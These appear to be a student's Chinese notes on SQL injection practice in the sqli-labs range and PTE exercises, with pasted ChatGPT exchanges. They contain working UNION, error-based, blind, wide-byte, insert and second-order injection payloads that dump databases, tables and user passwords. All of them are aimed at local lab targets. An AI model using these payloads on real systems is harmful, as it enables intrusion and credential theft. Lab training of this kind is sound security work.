讲解了http协议,burp,
turbo intruder插件
定义:SQL注入通过对输入点构造针对SQL语句的闭合实现预期攻击
靶场练习:Sqli-lab
information scheme
cancat
sleep
substr字符截断,报错注入的输出字符数量有限
union 列数一致,类型兼容
注释绕过waf
如何判断字符型还是数字型
union:
识别注入点
order by 判断列数
负数作为输入值通常不与正常的查询条件匹配(例如,ID、用户标识符等通常为正数)。这样设置可以确保
UNION查询不会干扰或改变原有查询的逻辑,而是只影响到注入部分。简化调试过程:攻击者使用负数是为了验证查询是否成功执行。通常,负数不属于有效的记录ID或数据,因此这可以帮助攻击者确认注入是否已成功,并且后续查询能够返回预期的结果。
双写绕过
联合注入 lab1
报错注入
less-5 xpath报错注入
容易考的,手工:联合查询,堆叠注入,报错注入,二次注入(登陆),增删改注入,like注入
宽字节,参数污染
预编译SQL为什么能够防止SQL注入 - Createsequence - 博客园
参数本身被直接转义为了一串普通的字符串,我们试图“注入”的 SQL 片段完全不会生效。
1 | http://127.0.0.1:8082/Less-1?id=-1' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ |
http://127.0.0.1:8082/Less-5?id=-1‘ and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 1,1),0x7e)) –+
http://127.0.0.1:8082/Less-5?id=-1‘ and extractvalue(1, concat(0x7e, (select group_concat(username,password) from users where id=2 limit 0,1), 0x7e)) –+
1 | 爆库 库名 无where |
where table_scheme ; table_name
floor报错注入
起点(种子)一旦固定,序列就完全可预测 ,FLOOR(RAND(0)*2) 的结果不是固定的 0,1,1,而是“前几项恰好如此”,随着调用次数增加会继续变化,但攻击者只需要“前几次内出现重复”即可达到注入利用目的。
数据库的流程,爆库爆表
ChatGPT 说:
进行 SQL 注入时,爆库爆表(信息枚举)是核心步骤之一,用于逐步枚举出数据库名称、表名、字段名,进而提取敏感数据(如账号密码)。我们以下以布尔盲注为例,也补充报错注入和联合注入方式。
✅ 1. 数据库结构基础(MySQL)
在 MySQL 中,所有数据库元信息保存在系统库:information_schema
常用的几个表:
| 表名 | 用途 |
|---|---|
information_schema.schemata |
所有数据库名 |
information_schema.tables |
所有表名 |
information_schema.columns |
所有字段名 |
✅ 2. 爆库(列出所有数据库名)
🧠 构造 payload 示例(布尔盲注):
假设注入点为:
bash
复制编辑
?id=1' AND [payload] --+
枚举第一个数据库名的第一个字符:
sql
复制编辑
?id=1' AND substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='a' --+
逐字符爆破直到匹配成功,依此枚举整个名字。再改成 LIMIT 1,1、LIMIT 2,1 继续获取下一个库。
✅ 3. 爆表(列出指定数据库下的所有表名)
已知数据库名为 sqli-labs,爆出其第一个表名:
sql
复制编辑
?id=1' AND substr((SELECT table_name FROM information_schema.tables WHERE table_schema='sqli-labs' LIMIT 0,1),1,1)='a' --+
同样通过暴力爆破字符逐个枚举。
✅ 4. 爆字段(列出某表的所有字段名)
已知表名为 users,列出字段名:
sql
复制编辑
?id=1' AND substr((SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='sqli-labs' LIMIT 0,1),1,1)='u' --+
继续使用爆破法逐个字段名枚举。
✅ 5. 报错注入方式(更快)
如果支持报错注入(比如 extractvalue()),可以直接查看数据:
🧪 爆库:
sql
复制编辑
?id=1' and extractvalue(1, concat(0x7e, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1), 0x7e)) --+
🧪 爆表:
sql
复制编辑
?id=1' and extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli-labs' LIMIT 0,1), 0x7e)) --+
✅ 6. 联合注入(页面有回显时)
页面正常输出 SQL 结果时,可以直接用 UNION SELECT 拼出结果:
sql
复制编辑
?id=1' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata --+
如果你能控制显示字段位置,效果最好。
✅ 7. 爆字段值(如用户名密码)
确定字段名后,可以爆用户密码:
sql
复制编辑
?id=1' AND substr((SELECT password FROM users LIMIT 0,1),1,1)='a' --+
或报错注入版本:
sql
复制编辑
?id=1' AND extractvalue(1, concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e)) --+
🧩 常用函数表
| 函数 | 用途 |
|---|---|
database() |
当前数据库名 |
user() |
当前登录用户 |
version() |
数据库版本 |
schema_name, table_name, column_name |
元数据字段 |
LIMIT offset,1 |
遍历列表 |
substr(str,pos,1) |
提取单个字符(用于盲注) |
extractvalue() / updatexml() |
报错注入用 |
如你提供你当前注入点示例或页面反馈特征,我可以给你写一套定制 payload 和爆破脚本(支持 sqlmap/手工两种)。需要吗?
您说:
报错注入有长度限制
ChatGPT 说:
是的,报错注入确实存在长度限制问题,特别是在使用 extractvalue()、updatexml() 等函数时——当拼接的字符串太长,可能会:
被数据库函数自身截断;
被 WAF 拦截或编码异常;
被页面返回长度限制截断(HTML响应体上限);
导致函数本身执行失败(比如
extractvalue()解析失败或报错信息过大);
✅ 一、常见报错注入函数的限制分析
1. extractvalue(xml, xpath)
一般最多回显 ~32-64字节(字符) 的内容,超长会导致:
XPATH syntax error: 'xxxxx……'被截断;或直接报错中断。
2. updatexml(xml, xpath, value)
同样限制回显长度;
还可能在拼接多条信息时出现:
nginx
复制编辑
XPATH syntax error: 'xxx......'报错中无法显示完整结果。
3. floor() + rand() 报错方式(适用于 MySQL 5.x)
- 虽然可以用来判断内容,但输出信息不包含数据本体,不适用于“直接输出数据”。
✅ 二、如何判断是否发生了长度截断?
你可以尝试以下两个方式:
✅ 方法 1:不断增长长度确认
sql
复制编辑
?id=1' AND extractvalue(1, concat(0x7e, REPEAT('A', 30), 0x7e)) --+
逐步将 30 → 50 → 80 → 100,直到不再完整回显(或直接报错)即为最大回显长度。
✅ 方法 2:报错内容前后缺失
sql
复制编辑
?id=1' AND extractvalue(1, concat(0x7e, (SELECT group_concat(schema_name) FROM information_schema.schemata), 0x7e)) --+
输出为:
vbnet
复制编辑
XPATH syntax error: '~information_schema,testdb,sqli_lab...
说明内容被截断。
✅ 三、解决办法(建议使用以下技巧)
| 方式 | 描述 | 示例 |
|---|---|---|
| ✅ 分段输出 | 一次只输出一个数据库名或字段 | LIMIT 0,1, LIMIT 1,1 |
| ✅ 子字符串截取 | 用 substr() 每次截取几位 |
substr((),1,20) |
| ✅ 多次请求拼接 | 每次爆破一部分,手工/自动拼接 | 脚本 or sqlmap 逐字符输出 |
| ✅ 用盲注替代 | 如果报错输出不全,换用布尔/时间盲注 | substr(...)=xx 或 sleep() |
| ✅ 控制回显字符 | 用 0x7e 包裹数据,避免意外中断 |
concat(0x7e, data, 0x7e) |
✅ 不用 group_concat() |
容易超长,建议 LIMIT + substr 代替 |
SELECT table_name FROM ... LIMIT 0,1 |
✅ 四、可选替代策略(自动化工具)
🛠 用 sqlmap 控制数据长度:
bash
复制编辑
sqlmap -u "http://target.com?id=1" --technique=E --string="XPATH" --dump
可加上:
--no-cast(避免 cast 导致的报错溢出)--chunk或手动--start和--stop分段读取
✅ 五、实战建议
如果你在靶场中看到:
报错信息始终显示不完整
回显内容长度异常一致
页面总是返回
XPATH syntax error: 'xxxxx'
👉 说明:你 hit 到了长度限制。
最佳方案:切换到布尔盲注或时间盲注,虽慢但稳。
如你提供 payload 或目标页面,我可以帮你分析是不是长度截断并给出拆分 payload。需要吗?
您说:
http://127.0.0.1:8082/Less-1?id=-1‘ UNION SELECT 1,group_concat(column_name),3 from information_schema.columns –+ 没指定where column_name=’users’. ame:CHARACTER_SET_NAME,DEFAULT_COLLATE_NAME,DESCRIPTION,MAXLEN,COLLATION_NAME,CHARACTER_SET_NAME,ID,IS_DEFAULT,IS_COMPILED,SORTLEN,COLLATION_NAME,CHARACTER_SET_NAME,TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME,ORDINAL_POSITION,COLUMN_DEFAULT,IS_NULLABLE,DATA_TYPE,CHARACTER_MAXIMUM_LENGTH,CHARACTER_OCTET_LENGTH,NUMERIC_PRECISION,NUMERIC_SC 不全,怎么遍历
ChatGPT 说:
你遇到的问题非常典型:在报错/联合注入中使用 group_concat(column_name) 列出所有字段名,但由于未限定 WHERE 条件导致结果 过长被截断,页面输出不全,核心字段信息如 COLUMN_NAME 显示被截断了。
✅ 问题总结
你的 payload 是这样的:
sql
复制编辑
?id=-1' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns --+
🔥 问题点:
没有
WHERE table_schema='xxx' AND table_name='xxx',所以把所有表的字段都抓了出来;group_concat()默认最大输出长度为 1024 字节(可配置),容易被截断;输出字段数量太多 → 页面回显不完整。
✅ 正确做法:限定库名+表名 + 分批读取
✅ 一、爆出某表字段名(推荐写法):
sql
复制编辑
?id=-1' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users' --+
✅ 说明:
security是数据库名users是表名只输出该表的字段名,不会超长!
✅ 二、逐行爆字段名(LIMIT 分页方式)
如果你不知道字段太多会被截断,就用 LIMIT 分批取,例如:
sql
复制编辑
?id=-1' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1 --+
依次改为:
LIMIT 1,1LIMIT 2,1…
直到取不到结果为止,就爆完了所有字段名。
✅ 三、如果仍然超长,改为 substr() 控制单个字段名长度
sql
复制编辑
?id=-1' UNION SELECT 1, substr(column_name,1,20), 3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1 --+
✅ 四、实用辅助信息:如何知道当前库名?
爆当前数据库名:
sql
复制编辑
?id=-1' UNION SELECT 1, database(), 3 --+
爆当前数据库下所有表:
sql
复制编辑
?id=-1' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database() --+
爆某表字段名(已知表名):
sql
复制编辑
?id=-1' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_schema=database() AND table_name='users' --+
✅ 五、小结
| 目标 | 推荐写法 |
|---|---|
| 当前数据库名 | SELECT database() |
| 当前库的所有表 | FROM information_schema.tables WHERE table_schema=database() |
| 某表字段名 | FROM information_schema.columns WHERE table_name='xxx' AND table_schema='xxx' |
| 避免超长 | 用 LIMIT + substr() 分页读取 |
如果你告诉我你现在是哪个库名和表名,我可以直接帮你生成字段爆破 payload 脚本(可选自动化)。要不要继续?
您说:
http://127.0.0.1:8082/Less-5?id=-1‘ and extractvalue(1,concat(0x7e,select group_concat(schema_name) from information_schema.schemata),0x7e)) –+ 错误
ChatGPT 说:
你写的这个报错注入 payload 基本思路是对的,但存在几个语法/逻辑问题,下面我来 指出错误 + 修改正确版本,并解释原因。
❌ 原始错误 Payload
sql
复制编辑
?id=-1' and extractvalue(1,concat(0x7e,select group_concat(schema_name) from information_schema.schemata),0x7e)) --+
❌ 存在的问题:
concat()的参数写错了,select语句要整体作为一个参数嵌进去;多了一个
);extractvalue()是extractvalue(xml, xpath_expr),你写成了三个参数;MySQL 不允许
concat()中放置SELECT和常量混合不规范的表达式;
✅ 正确语法格式(爆数据库名)
sql
复制编辑
?id=-1' and extractvalue(1, concat(0x7e, (select group_concat(schema_name) from information_schema.schemata), 0x7e)) --+
✅ 如果回显不全怎么办?
用 LIMIT 逐条输出:
sql
复制编辑
?id=-1' and extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1), 0x7e)) --+
然后改成:
limit 1,1limit 2,1…
直到取不到内容为止,表示列举完毕。
✅ 字符过长报错提示?
你可能会遇到这个:
nginx
复制编辑
XPATH syntax error: '......'
说明内容太长,可以改成爆一条、或者配合 substr() 控制长度:
sql
复制编辑
?id=-1' and extractvalue(1, concat(0x7e, substr((select schema_name from information_schema.schemata limit 0,1),1,30), 0x7e)) --+
✅ 快速测试当前是否成功爆出:
sql
复制编辑
?id=-1' and extractvalue(1, concat(0x7e, database(), 0x7e)) --+
页面应返回:
nginx
复制编辑
XPATH syntax error: '~security~'
✅ 其他推荐 payload(报错注入常用)
爆当前表名(已知库名):
sql
复制编辑
?id=-1' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e)) --+
爆字段名(已知表):
sql
复制编辑
?id=-1' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()), 0x7e)) --+
如你希望我自动生成 payload 脚本进行循环爆库/爆表/爆字段,我可以写 Python/SQLmap 脚本给你。是否需要?
您说:
http://127.0.0.1:8082/Less-5?id=-1‘ and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 0,1),0x7e)) –+ XPATH syntax error: ‘~information_schema,challenges,m’. limit 1,1),0x7e)) –+ 修改后无回显
ChatGPT 说:
你现在的情况说明得非常清楚:
❗ 问题现象
第一次请求(
limit 0,1):sql
复制编辑
...extractvalue(1, concat(0x7e, (select group_concat(schema_name) from information_schema.schemata limit 0,1), 0x7e))...✅ 有回显(
information_schema,challenges,m)修改为
limit 1,1后:sql
复制编辑
...limit 1,1...❌ 无回显(或者页面无报错)
✅ 原因分析
你用了 group_concat(...) limit 1,1,但注意:
⚠️ group_concat(...) 是聚合函数,不能直接用 LIMIT 控制它的行!
✅ 正确写法对比:
| 错误写法 ❌ | 正确写法 ✅ |
|---|---|
select group_concat(schema_name) limit 1,1 |
select schema_name from ... limit 1,1 |
| 多条合并后限制长度 → 报错或无输出 | 每条单独读取 |
✅ 正确 payload 写法(逐条枚举 schema 名)
sql
复制编辑
?id=-1' and extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1), 0x7e)) --+
然后改为:
sql
复制编辑
limit 1,1 limit 2,1 limit 3,1 ...
每次只爆一个库名,绝对不会被截断。
✅ 示例完整一条:
http
复制编辑
http://127.0.0.1:8082/Less-5?id=-1' and extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1), 0x7e)) --+
如返回:
nginx
复制编辑
XPATH syntax error: '~challenges~'
则说明枚举成功,继续改 limit 下标即可。
✅ 可选技巧:爆所有库名时控制长度
如果一定要 group_concat() 爆多个库名,可以配合 substr() 限制长度(适用于仅想看前几个):
sql
复制编辑
?id=-1' and extractvalue(1, concat(0x7e, substr((select group_concat(schema_name) from information_schema.schemata), 1, 50), 0x7e)) --+
✅ 小总结
| 场景 | 方法 |
|---|---|
| 🔢 多个数据库名(防截断) | select schema_name ... limit n,1 |
🧠 不要 group_concat(...) limit ... |
语法错误 or 无输出 |
| 📦 控制长度 | substr(..., 1, N) |
| 🚫 页面无回显 | 很可能是语法失误 or 被拦截,可切换盲注 |
如你现在想爆表、爆字段,我可以直接帮你生成对应 payload,你只需告诉我当前数据库名或我帮你爆出也行。是否继续?
lab-38 堆叠注入
感觉操作非常简单粗暴,直接插入新的用户
布尔盲注,lab8
判断是否存在布尔盲注:and 1=1正常 1=2错误
之后通过逐位的比较、条件判断,遍历出字符串
32宽字节
http://127.0.0.1:8082/Less-32?id=-1%df' order by 4 --+
http://127.0.0.1:8082/Less-32?id=-1%df' union select 1,database(),3 --+
insert注册长用户,空格
lab11 post注入
lab20 cookie注入
lab18 UA注入 lab19 refer
25 lab 绕过
PTE
6
万能密码
'a or '1'='1 结尾也是’1
7
二阶注入
admin'#--
转义后修改admin的密码
1
union爆库爆表爆字段
sqlmap采用时间
3文章管理系统
数值型正常回显
5查看文章
1',(select version()),'2','4',NOW())--
1 | 1',(select group_concat(schema_name) from information_schema.schemata),'2','4',NOW())-- |
通过发表文章,sql注入
不知道payload怎么想到的
2,4最后
第6题 发表文章
- 当输入的标题中包含单引号,确认存在注入,新增文章所以是insert语法:
文章发表失败:SQLSTATE[22007]: Invalid datetime format: 1292 Incorrect datetime
value: ‘5’ for column php_test.articles.created_at at row 1
- 数量不匹配
1’,’2’,’3’,’4’)–
文章发表失败:SQLSTATE[21S01]: Insert value list does not match column list: 1136 Column count doesn’t match value count at row 1
- 当数量达到,但是不符合时间格式:
1’,’2’,’3’,’4’,’5’)–
文章发表失败:SQLSTATE[22007]: Invalid datetime format: 1292 Incorrect datetime
value: ‘5’ for column php_test.articles.created_at at row 1
- 爆库
1’,(select group_concat(schema_name) from information_schema.schemata),’2’,’4’,NOW())–
- 爆表
1’,(select group_concat(table_name) from information_schema.tables where table_schema=’php_test’),’2’,’4’,NOW())–
- 报字段
1’,(select group_concat(column_name) from information_schema.columns where table_name=’users’),’2’,’4’,NOW())–
1’,(select group_concat(username,password) where table_schema=’php_test’ and where table_name=’users’),’2’,’4’,NOW())– 错误的,不能两个where
- 爆数据
1’,(select group_concat(username,password) from php_test.users),’2’,’4’,NOW())–